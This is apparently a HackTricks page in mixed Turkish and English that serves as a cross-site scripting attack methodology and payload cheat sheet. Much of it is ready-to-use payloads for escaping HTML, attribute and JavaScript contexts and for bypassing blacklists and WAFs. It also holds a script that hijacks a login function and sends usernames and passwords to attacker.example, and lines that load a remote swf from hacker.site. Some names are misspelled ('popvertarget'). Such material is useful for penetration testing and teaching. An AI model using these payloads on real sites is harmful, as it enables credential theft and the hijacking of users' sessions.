XSS (Cross Site Scripting)

Reading time: 53 minutes

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking'i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

Metodoloji

  1. HTML'de yansıtılan veya JS kodu tarafından kullanılan herhangi bir değeri (parametreler, path, headers?, cookies?) kontrol edip etmediğinizi kontrol edin.
  2. Yansıtıldığı/kullanıldığı konteksti bulun.
  3. Eğer yansıtılıyorsa
  4. Hangi sembolleri kullanabildiğinizi kontrol edin ve buna göre payload hazırlayın:
  5. Ham HTML içinde:
  6. Yeni HTML tagleri oluşturabilir misiniz?
  7. javascript: protokolünü destekleyen event veya attribute'ları kullanabilir misiniz?
  8. Koruma mekanizmalarını atlayabilir misiniz?
  9. HTML içeriği herhangi bir client side JS engine (AngularJS, VueJS, Mavo...) tarafından yorumlanıyorsa, bir Client Side Template Injection istismar edebilirsiniz.
  10. JS kodu çalıştıran HTML tagleri oluşturamıyorsanız, bir Dangling Markup - HTML scriptless injection istismar edebilir misiniz?
  11. Bir HTML tag içinde:
  12. Raw HTML konteksine çıkabilir misiniz?
  13. JS kodu çalıştıracak yeni event/attribute'lar oluşturabilir misiniz?
  14. Takıldığınız attribute JS çalıştırmayı destekliyor mu?
  15. Koruma mekanizmalarını atlayabilir misiniz?
  16. JavaScript kodu içinde:
  17. <script> tag'inden kaçabilir misiniz?
  18. string'ten kaçıp farklı JS kodu çalıştırabilir misiniz?
  19. Girdiğiniz template literal ` içinde mi?
  20. Koruma mekanizmalarını atlayabilir misiniz?
  21. Çalıştırılan Javascript fonksiyonu
  22. Çalıştırılacak fonksiyonun adını belirtebilirsiniz. örn.: ?callback=alert(1)
  23. Eğer kullanılıyorsa:
  24. Bir DOM XSS'i istismar edebilirsiniz, girdinizin nasıl kontrol edildiğine ve kontrol ettiğiniz girdinin herhangi bir sink tarafından kullanılıp kullanılmadığına dikkat edin.

Karmaşık bir XSS üzerinde çalışırken ilginizi çekebilecek şeyler:

Debugging Client Side JS

Yansıtılan değerler

Bir XSS'i başarıyla istismar etmek için önce bulmanız gereken şey, sizin tarafınızdan kontrol edilen ve web sayfasında yansıtılan bir değerdir.

  • Ara yansıtılmış: Bir parametrenin veya hatta path'in değeri web sayfasında yansıtılıyorsa Reflected XSS'i istismar edebilirsiniz.
  • Kaydedilmiş ve yansıtılan: Sizin tarafınızdan kontrol edilen bir değer sunucuda kaydedilip her sayfa erişiminde yansıtılıyorsa Stored XSS'i istismar edebilirsiniz.
  • JS aracılığıyla erişilen: Sizin tarafınızdan kontrol edilen bir değere JS ile erişiliyorsa DOM XSS'i istismar edebilirsiniz.

Kontekstler

Bir XSS'i istismar etmeye çalışırken ilk bilmeniz gereken şey, girdinizin nerede yansıtıldığıdır. Kontekste bağlı olarak, keyfi JS kodunu farklı yollarla çalıştırabilirsiniz.

Ham HTML

Girdiğiniz ham HTML sayfasında yansıtılıyorsa JS kodu çalıştırmak için bazı HTML tag'lerini kötüye kullanmanız gerekecek: <img , <iframe , <svg , <script ... bunlar kullanabileceğiniz birçok HTML taginden sadece bazılarıdır.
Ayrıca Client Side Template Injection unutmayın.

HTML tag attribute'ları içinde

Girdiniz bir tag'in attribute değeri içinde yansıtılıyorsa şunları deneyebilirsiniz:

  1. Attribute'dan ve tag'den kaçmak (sonra raw HTML içinde olursunuz) ve kötüye kullanmak için yeni bir HTML tag oluşturmak: "><img [...]
  2. Attribute'dan kaçıp tag'den kaçamıyorsanız (> encode edilmiş veya silinmişse), tag'e bağlı olarak JS kodu çalıştıran bir event oluşturabilirsiniz: " autofocus onfocus=alert(1) x="
  3. Attribute'dan kaçamıyorsanız (" encode ediliyor veya siliniyorsa), hangi attribute içinde yansıtıldığını ve değerin tamamını mı yoksa sadece bir kısmını mı kontrol ettiğinize bağlı olarak istismar edebilirsiniz. Örneğin, onclick= gibi bir event'i kontrol ediyorsanız tıklanınca rastgele kod çalıştırabilirsiniz. İlginç bir örnek href attribute'udur; burada javascript: protokolünü kullanarak rastgele kod çalıştırabilirsiniz: href="javascript:alert(1)"
  4. Girdiğiniz değer "istismar edilemeyen tag'ler" içinde yansıtılıyorsa accesskey numarasıyla (sosyal mühendislik gerekecek) zafiyeti kötüye kullanmayı deneyebilirsiniz: " accesskey="x" onclick="alert(1)" x="

Bir class adı kontrol ediliyorsa Angular'ın XSS çalıştırdığı tuhaf örnek:

html
<div ng-app>
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
</div>

JavaScript kodu içinde

Bu durumda girdiniz bir HTML sayfasındaki <script> [...] </script> etiketleri arasında, bir .js dosyası içinde veya javascript: protokolü kullanan bir attribute içinde yansıtılır:

  • Eğer <script> [...] </script> etiketleri arasında yansıtılıyorsa, girdiniz herhangi bir tırnak içinde olsa bile </script> enjekte etmeyi ve bu bağlamdan kaçmayı deneyebilirsiniz. Bu, tarayıcının önce HTML etiketlerini parse etmesi ve sonra içeriği işlemesi nedeniyle çalışır; dolayısıyla enjekte ettiğiniz </script> etiketinin HTML kodu içinde olduğunu fark etmeyecektir.
  • Eğer inside a JS string içinde yansıtılıyorsa ve son hile işe yaramıyorsa string'ten çıkmanız, kodunuzu çalıştırmanız ve JS kodunu yeniden oluşturmanız gerekir (herhangi bir hata olursa, çalıştırılmayacaktır):
  • '-alert(1)-'
  • ';-alert(1)//
  • \';alert(1)//
  • Eğer template literals içinde yansıtılıyorsa ${ ... } sözdizimini kullanarak JS ifadeleri embed edebilirsiniz: var greetings = `Hello, ${alert(1)}`
  • Unicode encode kullanmak, valid javascript code yazmak için işe yarar:
javascript
alert(1)
alert(1)
alert(1)

Javascript Hoisting

Javascript Hoisting, fonksiyonları, değişkenleri veya sınıfları kullanıldıktan sonra bildirme (declare) yapabilme fırsatını ifade eder; böylece bir XSS'in tanımlanmamış değişkenler veya fonksiyonlar kullandığı senaryolardan yararlanabilirsiniz.
Daha fazla bilgi için şu sayfaya bakın:

JS Hoisting

Javascript Function

Bazı web sayfalarının, çalıştırılacak fonksiyonun adını parametre olarak kabul eden endpoints'leri vardır. Gerçekte sık karşılaşılan bir örnek şu şekildedir: ?callback=callbackFunc.

Kullanıcı tarafından doğrudan verilen bir şeyin yürütülmeye çalışılıp çalışılmadığını anlamanın iyi bir yolu, parametre değerini değiştirmek (örneğin 'Vulnerable' olarak) ve konsolda şu tür hatalara bakmaktır:

Eğer zafiyet varsa, sadece şu değeri göndererek bir alert tetikleyebilirsiniz: ?callback=alert(1). Ancak, bu tür endpoints'lerin genellikle içeriği doğrulayarak yalnızca harf, rakam, nokta ve alt çizgi kabul etmeleri ([\w\._]) çok yaygındır.

Buna rağmen, bu kısıtlama olsa bile bazı işlemleri gerçekleştirmek hâlâ mümkündür. Bunun nedeni, bu geçerli karakterleri kullanarak DOM'daki herhangi bir elemana erişebilmenizdir:

Bunun için bazı kullanışlı fonksiyonlar:

firstElementChild
lastElementChild
nextElementSibiling
lastElementSibiling
parentElement

You can also try to trigger Javascript functions directly: obj.sales.delOrders.

However, usually the endpoints executing the indicated function are endpoints without much interesting DOM, other pages in the same origin will have a more interesting DOM to perform more actions.

Therefore, in order to abuse this vulnerability in a different DOM the Same Origin Method Execution (SOME) exploitation was developed:

SOME - Same Origin Method Execution

DOM

Bazı yerlerde location.href gibi saldırgan tarafından kontrol edilen bazı verileri güvenli olmayan şekilde kullanan JS code bulunur. Bir saldırgan bunu kötüye kullanarak rastgele JS kodu çalıştırabilir.

DOM XSS

Universal XSS

Bu tür XSS'ler her yerde bulunabilir. Bunlar sadece bir web uygulamasının istemci tarafı istismarına bağlı değildir, herhangi bir bağlamda ortaya çıkabilir. Bu tür arbitrary JavaScript execution, hatta RCE elde etmek, istemci ve sunucularda rastgele dosyaları okumak ve daha fazlası için bile kullanılabilir.
Some examples:

Server Side XSS (Dynamic PDF)

Electron Desktop Apps

WAF bypass encoding image

from https://twitter.com/hackerscrolls/status/1273254212546281473?s=21

Injecting inside raw HTML

Girdiğiniz değer HTML sayfası içinde yansıtılıyorsa veya bu bağlamda HTML kodu kaçıp enjekte edebiliyorsanız, yapmanız gereken ilk şey yeni tag'ler oluşturmak için < karakterini kötüye kullanıp kullanamayacağınızı kontrol etmektir: Sadece o karakteri yansıtmayı deneyin ve bunun HTML encoded edilip edilmediğini veya silinip silinmediğini ya da değişmeden yansıtılıp yansıtılmadığını kontrol edin. Sadece son durumda bu durumu istismar edebilirsiniz.
For this cases also keep in mind Client Side Template Injection.\ Note: A HTML comment can be closed using****-->****or **--!>****

In this case and if no black/whitelisting is used, you could use payloads like:

html
<script>
alert(1)
</script>
<img src="x" onerror="alert(1)" />
<svg onload=alert('XSS')>

Ancak, eğer tags/attributes siyah/beyaz listeleme kullanılıyorsa, hangi tags oluşturabileceğinizi brute-force ile belirlemeniz gerekir.
Hangi tags'in izin verildiğini tespit ettikten sonra, bağlamı nasıl saldırılabileceğinizi görmek için bulunan geçerli tags içinde brute-force attributes/events yapmanız gerekir.

Tags/Events brute-force

Go to https://portswigger.net/web-security/cross-site-scripting/cheat-sheet and click on Copy tags to clipboard. Then, send all of them using Burp intruder and check if any tags wasn't discovered as malicious by the WAF. Once you have discovered which tags you can use, you can brute force all the events using the valid tags (in the same web page click on Copy events to clipboard and follow the same procedure as before).

Custom tags

If you didn't find any valid HTML tag, you could try to create a custom tag and and execute JS code with the onfocus attribute. In the XSS request, you need to end the URL with # to make the page focus on that object and execute the code:

/?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x

Kara Liste Atlatmaları

Eğer bir tür kara liste kullanılıyorsa, onu bazı basit hilelerle atlatmayı deneyebilirsiniz:

javascript
//Random capitalization
<script> --> <ScrIpT>
<img --> <ImG

//Double tag, in case just the first match is removed
<script><script>
<scr<script>ipt>
<SCRscriptIPT>alert(1)</SCRscriptIPT>

//You can substitude the space to separate attributes for:
/
/*%00/
/%00*/
%2F
%0D
%0C
%0A
%09

//Unexpected parent tags
<svg><x><script>alert('1'&#41</x>

//Unexpected weird attributes
<script x>
<script a="1234">
<script ~~~>
<script/random>alert(1)</script>
<script      ///Note the newline
>alert(1)</script>
<scr\x00ipt>alert(1)</scr\x00ipt>

//Not closing tag, ending with " <" or " //"
<iframe SRC="javascript:alert('XSS');" <
<iframe SRC="javascript:alert('XSS');" //

//Extra open
<<script>alert("XSS");//<</script>

//Just weird an unexpected, use your imagination
<</script/script><script>
<input type=image src onerror="prompt(1)">

//Using `` instead of parenthesis
onerror=alert`1`

//Use more than one
<<TexTArEa/*%00//%00*/a="not"/*%00///AutOFocUs////onFoCUS=alert`1` //

Uzunluk bypass'ı (small XSSs)

[!NOTE] > Farklı ortamlar için daha fazla tiny XSS payload can be found here and here.

html
<!-- Taken from the blog of Jorge Lajara -->
<svg/onload=alert``> <script src=//aa.es> <script src=//℡㏛.pw>

Sonuncusu 2 unicode karakteri kullanıyor ve 5'e genişliyor: telsr
Bu karakterlerin daha fazlasını burada bulabilirsiniz.
Hangi karakterlerde ayrıştırıldıklarını kontrol etmek için buraya bakın.

Click XSS - Clickjacking

Eğer zafiyetten yararlanmak için kullanıcının önceden doldurulmuş bir linke veya forma tıklaması gerekiyorsa, sayfa zafiyetliyse abuse Clickjacking deneyebilirsiniz.

Impossible - Dangling Markup

Eğer sadece JS kodu çalıştıracak bir HTML tag'i ve attribute oluşturmanın imkansız olduğunu düşünüyorsanız, Danglig Markup kontrol etmelisiniz çünkü exploit edilebilecek zafiyeti JS çalıştırmadan da kullanabilirsiniz.

Injecting inside HTML tag

Inside the tag/escaping from attribute value

Eğer bir HTML tag'ı içindeyseniz, ilk deneyebileceğiniz şey tag'dan escape ederek önceki bölümda bahsedilen tekniklerden bazılarını kullanıp JS kodu çalıştırmaktır.
Eğer tag'dan escape edemiyorsanız, JS kodu çalıştırmayı denemek için tag içinde yeni attribute'lar oluşturabilirsiniz; örneğin şu şekilde bir payload kullanabilirsiniz (not: bu örnekte attribute'tan kaçmak için double quotes kullanılıyor, input'unuz doğrudan tag içine yansıyorsa bunlara ihtiyacınız olmaz):

bash
" autofocus onfocus=alert(document.domain) x="
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t

Stil olayları

python
<p style="animation: x;" onanimationstart="alert()">XSS</p>
<p style="animation: x;" onanimationend="alert()">XSS</p>

#ayload that injects an invisible overlay that will trigger a payload if anywhere on the page is clicked:
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.5);z-index: 5000;" onclick="alert(1)"></div>
#moving your mouse anywhere over the page (0-click-ish):
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.0);z-index: 5000;" onmouseover="alert(1)"></div>

Öznitelik içinde

Even if you öznitelikten kaçış yapamıyor olsanız (" is being encoded or deleted), depending on hangi öznitelikte your value is being reflected in değerin tamamını mı yoksa yalnızca bir kısmını mı kontrol ettiğinize you will be able to abuse it. For örnek, if you control an event like onclick= you will be able to make it execute arbitrary code when it's clicked.\ Another interesting örnek is the attribute href, where you can use the javascript: protocol to execute arbitrary code: href="javascript:alert(1)"

HTML encoding/URL encode kullanarak event içinde bypass

The HTML ile kodlanmış karakterler inside the value of HTML tags attributes are çalışma zamanında çözülür. Therefore something like the following will be valid (the payload is in bold): <a id="author" href="http://none" onclick="var tracker='http://foo?&apos;-alert(1)-&apos;';">Go Back </a>

Note that her türlü HTML kodlaması geçerlidir:

javascript
//HTML entities
&apos;-alert(1)-&apos;
//HTML hex without zeros
&#x27-alert(1)-&#x27
//HTML hex with zeros
&#x00027-alert(1)-&#x00027
//HTML dec without zeros
&#39-alert(1)-&#39
//HTML dec with zeros
&#00039-alert(1)-&#00039

<a href="javascript:var a='&apos;-alert(1)-&apos;'">a</a>
<a href="&#106;avascript:alert(2)">a</a>
<a href="jav&#x61script:alert(3)">a</a>

URL encode'in de işe yarayacağını unutmayın:

python
<a href="https://example.com/lol%22onmouseover=%22prompt(1);%20img.png">Click</a>

Unicode encode kullanarak event içinde Bypass

javascript
//For some reason you can use unicode to encode "alert" but not "(1)"
<img src onerror=\u0061\u006C\u0065\u0072\u0074(1) />
<img src onerror=\u{61}\u{6C}\u{65}\u{72}\u{74}(1) />

attribute içinde özel protokoller

Burada bazı yerlerde javascript: veya data: protokollerini keyfi JS kodu çalıştırmak için kullanabilirsiniz. Bazıları kullanıcı etkileşimi gerektirir; bazıları ise gerekmez.

javascript
javascript:alert(1)
JavaSCript:alert(1)
javascript:%61%6c%65%72%74%28%31%29 //URL encode
javascript&colon;alert(1)
javascript&#x003A;alert(1)
javascript&#58;alert(1)
javascript:alert(1)
java        //Note the new line
script:alert(1)

data:text/html,<script>alert(1)</script>
DaTa:text/html,<script>alert(1)</script>
data:text/html;charset=iso-8859-7,%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%31%29%3c%2f%73%63%72%69%70%74%3e
data:text/html;charset=UTF-8,<script>alert(1)</script>
data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=
data:text/html;charset=thing;base64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwvc2NyaXB0Pg
data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==

Bu protokolleri enjekte edebileceğiniz yerler

Genel olarak javascript: protokolü href özniteliğini kabul eden herhangi bir etikette kullanılabilir ve çoğu src özniteliğini kabul eden etiketlerde de kullanılabilir (ancak <img> değil)

html
<a href="javascript:alert(1)">
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
<form action="javascript:alert(1)"><button>send</button></form>
<form id=x></form><button form="x" formaction="javascript:alert(1)">send</button>
<object data=javascript:alert(3)>
<iframe src=javascript:alert(2)>
<embed src=javascript:alert(1)>

<object data="data:text/html,<script>alert(5)</script>">
<embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgiWFNTIik7PC9zY3JpcHQ+" type="image/svg+xml" AllowScriptAccess="always"></embed>
<embed src="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg=="></embed>
<iframe src="data:text/html,<script>alert(5)</script>"></iframe>

//Special cases
<object data="//hacker.site/xss.swf"> .//https://github.com/evilcos/xss.swf
<embed code="//hacker.site/xss.swf" allowscriptaccess=always> //https://github.com/evilcos/xss.swf
<iframe srcdoc="<svg onload=alert(4);>">

Diğer obfuscation hileleri

Bu durumda, bir öznitelik içinde olduğunuz için önceki bölümdeki HTML encoding ve Unicode encoding hilesi de geçerlidir.

javascript
<a href="javascript:var a='&apos;-alert(1)-&apos;'">

Ayrıca, bu durumlar için başka bir nice trick daha var: javascript:... içindeki girdiniz URL encoded olsa bile, yürütülmeden önce URL decoded edilecektir. Dolayısıyla, eğer string'den escape etmek için bir single quote kullanmanız gerekiyorsa ve bunun URL encoded olduğunu görüyorsanız, unutmayın ki önemli değil, yürütme sırasında bu bir single quote olarak interpreted edilecektir.

javascript
&apos;-alert(1)-&apos;
%27-alert(1)-%27
<iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe>

Dikkat: herhangi bir sırayla URLencode + HTMLencode'i her ikisini birden kullanarak payload'ı encode etmeye çalışırsanız bu çalışmayacaktır, ancak payload içinde bunları karıştırabilirsiniz.

javascript: ile Hex ve Octal encode kullanımı

iframe'in src attributeı içine (en azından) Hex ve Octal encode kullanarak JS çalıştırmak için HTML tag'larını yazabilirsiniz:

javascript
//Encoded: <svg onload=alert(1)>
// This WORKS
<iframe src=javascript:'\x3c\x73\x76\x67\x20\x6f\x6e\x6c\x6f\x61\x64\x3d\x61\x6c\x65\x72\x74\x28\x31\x29\x3e' />
<iframe src=javascript:'\74\163\166\147\40\157\156\154\157\141\144\75\141\154\145\162\164\50\61\51\76' />

//Encoded: alert(1)
// This doesn't work
<svg onload=javascript:'\x61\x6c\x65\x72\x74\x28\x31\x29' />
<svg onload=javascript:'\141\154\145\162\164\50\61\51' />

Reverse tab nabbing

javascript
<a target="_blank" rel="opener"

Eğer herhangi bir URL'yi rastgele bir <a href= etiketine enjekte edebiliyorsanız ve bu etiket target="_blank" and rel="opener" özniteliklerini içeriyorsa, bu davranışı istismar etmek için aşağıdaki sayfayı kontrol edin:

Reverse Tab Nabbing

on Olay İşleyicileri Bypass

Öncelikle faydalı "on" event handlers için bu sayfayı (https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) kontrol edin.
Eğer bazı blacklistler bu event handler'ları oluşturmanızı engelliyorsa, aşağıdaki bypass'ları deneyebilirsiniz:

javascript
<svg onload%09=alert(1)> //No safari
<svg %09onload=alert(1)>
<svg %09onload%20=alert(1)>
<svg onload%09%20%28%2c%3b=alert(1)>

//chars allowed between the onevent and the "="
IExplorer: %09 %0B %0C %020 %3B
Chrome: %09 %20 %28 %2C %3B
Safari: %2C %3B
Firefox: %09 %20 %28 %2C %3B
Opera: %09 %20 %2C %3B
Android: %09 %20 %28 %2C %3B

Buradan here artık hidden inputs ile şu şekilde kötüye kullanılabiliyor:

html
<button popvertarget="x">Click me</button>
<input type="hidden" value="y" popover id="x" onbeforetoggle="alert(1)" />

Ve meta etiketleri:

html
<!-- Injection inside meta attribute-->
<meta
name="apple-mobile-web-app-title"
content=""
Twitter
popover
id="newsletter"
onbeforetoggle="alert(2)" />
<!-- Existing target-->
<button popovertarget="newsletter">Subscribe to newsletter</button>
<div popover id="newsletter">Newsletter popup</div>

Kaynak: here: Bir XSS payload inside a hidden attribute çalıştırabilirsiniz; yeter ki victimi key combination'a basmaya ikna edebilin. Firefox (Windows/Linux) üzerinde tuş kombinasyonu ALT+SHIFT+X, OS X'te ise CTRL+ALT+X'dir. access key attribute içinde farklı bir tuş kullanarak farklı bir tuş kombinasyonu belirtebilirsiniz. İşte vektör:

html
<input type="hidden" accesskey="X" onclick="alert(1)">

XSS payload şu şekilde olacaktır: " accesskey="x" onclick="alert(1)" x="

Blacklist Bypasses

Bu bölümde farklı encoding kullanılarak yapılan birkaç hile zaten gösterildi. Nerede kullanabileceğinizi öğrenmek için geri gidin:

  • HTML encoding (HTML tags)
  • Unicode encoding (can be valid JS code): \u0061lert(1)
  • URL encoding
  • Hex and Octal encoding
  • data encoding

Bypasses for HTML tags and attributes

Bakınız: Blacklist Bypasses of the previous section.

Bypasses for JavaScript code

Bakınız: JavaScript bypass blacklist of the following section.

CSS-Gadgets

Eğer web'in çok küçük bir kısmında XSS bulduysanız ve bir etkileşim gerekiyorsa (ör. footer'da onmouseover öğesi içeren küçük bir link), linkin tetiklenme ihtimalini maksimize etmek için o öğenin kapladığı alanı değiştirmeyi deneyebilirsiniz.

Örneğin, elemente şu tarz bir stil ekleyebilirsiniz: position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5

Ancak WAF style attribute'ünü filtreliyorsa, CSS Styling Gadgets kullanabilirsiniz; örneğin şu CSS'leri bulursanız

.test {display:block; color: blue; width: 100%}

ve

#someid {top: 0; font-family: Tahoma;}

Şimdi linkimizi şu forma getirebilirsiniz

<a href="" id=someid class=test onclick=alert() a="">

Bu hile şu kaynaktan alınmıştır: https://medium.com/@skavans_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703

Injecting inside JavaScript code

Bu durumda input'ınız .js dosyasının içinde veya <script>...</script> etiketleri arasında ya da JS kodu çalıştırabilen HTML event'leri arasında veya javascript: protokolünü kabul eden attribute'ler arasında yansıtılacaktır.

Escaping <script> tag

Eğer kodunuz <script> [...] var input = 'reflected data' [...] </script> içinde yansıtılıyorsa, kolayca <script> kapanışını escape edebilirsiniz:

javascript
</script><img src=1 onerror=alert(document.domain)>

Bu örnekte tek tırnak işaretini bile kapatmadığımızı unutmayın. Bunun nedeni, HTML ayrıştırmasının önce tarayıcı tarafından yapılmasıdır, bu işlem sayfa elemanlarının, script blokları dahil olmak üzere, tanımlanmasını içerir. Gömülü scriptleri anlamak ve çalıştırmak için JavaScript'in ayrıştırılması ancak daha sonra gerçekleştirilir.

JS kodu içinde

Eğer <> temizleniyorsa, girdinizin bulunduğu yerde yine de string'i escape etmek ve keyfi JS çalıştırmak mümkün olabilir. JS sözdizimini düzeltmek önemlidir, çünkü herhangi bir hata olursa JS kodu çalıştırılmaz:

'-alert(document.domain)-'
';alert(document.domain)//
\';alert(document.domain)//

JS-in-JS string break → inject → repair pattern

Kullanıcı girdisi alıntılanmış bir JavaScript string'in içine düştüğünde (ör. server-side echo ile inline script içine), string'i sonlandırabilir, inject code yapabilir ve sözdizimini onararak parsing'in geçerli kalmasını sağlayabilirsiniz. Genel iskelet:

"            // end original string
;            // safely terminate the statement
<INJECTION>  // attacker-controlled JS
; a = "      // repair and resume expected string/statement

Zayıf parametrenin bir JS stringine yansıtıldığı durum için örnek URL deseni:

?param=test";<INJECTION>;a="

Bu, HTML bağlamına dokunmadan (saf JS-in-JS) saldırgan JS çalıştırır. Filtreler anahtar kelimeleri engellediğinde aşağıdaki blacklist bypasses ile birleştirin.

Template literals ``

Tek ve çift tırnakların yanı sıra diziler oluşturmak için JS ayrıca backticks ``'i kabul eder. Bu, ${ ... } sözdizimiyle gömülü JS ifadelerine izin verdiği için template literals olarak bilinir.
Bu nedenle, girdinizin backticks kullanan bir JS dizisi içinde yansıtıldığını görürseniz, ${ ... } sözdizimini kötüye kullanarak herhangi bir JS kodu çalıştırabilirsiniz:

Bu, şu şekilde kötüye kullanılabilir:

javascript
;`${alert(1)}``${`${`${`${alert(1)}`}`}`}`
javascript
// This is valid JS code, because each time the function returns itself it's recalled with ``
function loop() {
return loop
}
loop``

Encoded code execution

html
<script>\u0061lert(1)</script>
<svg><script>alert&lpar;'1'&rpar;
<svg><script>alert(1)</script></svg>  <!-- The svg tags are neccesary
<iframe srcdoc="<SCRIPT>alert(1)</iframe>">

eval(atob()) içeren ve scope nüanslarına sahip teslim edilebilir payload'lar

URL'leri daha kısa tutmak ve basit anahtar kelime filtrelerini atlatmak için, gerçek mantığınızı base64 ile kodlayıp eval(atob('...')) ile değerlendirebilirsiniz. Eğer basit anahtar kelime filtreleri alert, eval veya atob gibi tanımlayıcıları engelliyorsa, tarayıcıda aynı şekilde derlenen ancak dize-eşleştirme filtrelerinden kaçan Unicode-escape edilmiş tanımlayıcıları kullanın:

\u0061\u006C\u0065\u0072\u0074(1)                      // alert(1)
\u0065\u0076\u0061\u006C(\u0061\u0074\u006F\u0062('BASE64'))  // eval(atob('...'))

Önemli kapsam nüansı: eval() içinde tanımlanan const/let blok kapsamlıdır ve global oluşturmaz; sonraki script'lerden erişilemezler. Gerektiğinde global, yeniden bağlanamaz hook'ları tanımlamak için dinamik olarak enjekte edilmiş bir <script> elementi kullanın (ör. bir form işleyicisini ele geçirmek için):

javascript
var s = document.createElement('script');
s.textContent = "const DoLogin = () => {const pwd = Trim(FormInput.InputPassword.value); const user = Trim(FormInput.InputUtente.value); fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd));}";
document.head.appendChild(s);

Referans: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval

Unicode Kodlamasıyla JS yürütme

javascript
alert(1)
alert(1)
alert(1)

JavaScript bypass blacklists teknikleri

Strings

javascript
"thisisastring"
'thisisastrig'
`thisisastring`
/thisisastring/ == "/thisisastring/"
/thisisastring/.source == "thisisastring"
"\h\e\l\l\o"
String.fromCharCode(116,104,105,115,105,115,97,115,116,114,105,110,103)
"\x74\x68\x69\x73\x69\x73\x61\x73\x74\x72\x69\x6e\x67"
"\164\150\151\163\151\163\141\163\164\162\151\156\147"
"\u0074\u0068\u0069\u0073\u0069\u0073\u0061\u0073\u0074\u0072\u0069\u006e\u0067"
"\u{74}\u{68}\u{69}\u{73}\u{69}\u{73}\u{61}\u{73}\u{74}\u{72}\u{69}\u{6e}\u{67}"
"\a\l\ert\(1\)"
atob("dGhpc2lzYXN0cmluZw==")
eval(8680439..toString(30))(983801..toString(36))

Özel kaçışlar

javascript
"\b" //backspace
"\f" //form feed
"\n" //new line
"\r" //carriage return
"\t" //tab
"\b" //backspace
"\f" //form feed
"\n" //new line
"\r" //carriage return
"\t" //tab
// Any other char escaped is just itself

JS kodu içindeki boşluk ikameleri

javascript
<TAB>
/**/

JavaScript comments (kaynak JavaScript Comments hile)

javascript
//This is a 1 line comment
/* This is a multiline comment*/
<!--This is a 1line comment
#!This is a 1 line comment, but "#!" must to be at the beggining of the first line
-->This is a 1 line comment, but "-->" must to be at the beggining of the first line

JavaScript new lines (kaynak: JavaScript new line trick)

javascript
//Javascript interpret as new line these chars:
String.fromCharCode(10)
alert("//\nalert(1)") //0x0a
String.fromCharCode(13)
alert("//\ralert(1)") //0x0d
String.fromCharCode(8232)
alert("//\u2028alert(1)") //0xe2 0x80 0xa8
String.fromCharCode(8233)
alert("//\u2029alert(1)") //0xe2 0x80 0xa9

JavaScript boşluk karakterleri

javascript
log=[];
function funct(){}
for(let i=0;i<=0x10ffff;i++){
try{
eval(`funct${String.fromCodePoint(i)}()`);
log.push(i);
}
catch(e){}
}
console.log(log)
//9,10,11,12,13,32,160,5760,8192,8193,8194,8195,8196,8197,8198,8199,8200,8201,8202,8232,8233,8239,8287,12288,65279

//Either the raw characters can be used or you can HTML encode them if they appear in SVG or HTML attributes:
<img/src/onerror=alert&#65279;(1)>

Javascript bir yorumun içinde

javascript
//If you can only inject inside a JS comment, you can still leak something
//If the user opens DevTools request to the indicated sourceMappingURL will be send

//# sourceMappingURL=https://evdr12qyinbtbd29yju31993gumlaby0.oastify.com

JavaScript parantezsiz

javascript
// By setting location
window.location='javascript:alert\x281\x29'
x=new DOMMatrix;matrix=alert;x.a=1337;location='javascript'+':'+x
// or any DOMXSS sink such as location=name

// Backtips
// Backtips pass the string as an array of lenght 1
alert`1`

// Backtips + Tagged Templates + call/apply
eval`alert\x281\x29` // This won't work as it will just return the passed array
setTimeout`alert\x281\x29`
eval.call`${'alert\x281\x29'}`
eval.apply`${[`alert\x281\x29`]}`
[].sort.call`${alert}1337`
[].map.call`${eval}\\u{61}lert\x281337\x29`

// To pass several arguments you can use
function btt(){
console.log(arguments);
}
btt`${'arg1'}${'arg2'}${'arg3'}`

//It's possible to construct a function and call it
Function`x${'alert(1337)'}x`

// .replace can use regexes and call a function if something is found
"a,".replace`a${alert}` //Initial ["a"] is passed to str as "a," and thats why the initial string is "a,"
"a".replace.call`1${/./}${alert}`
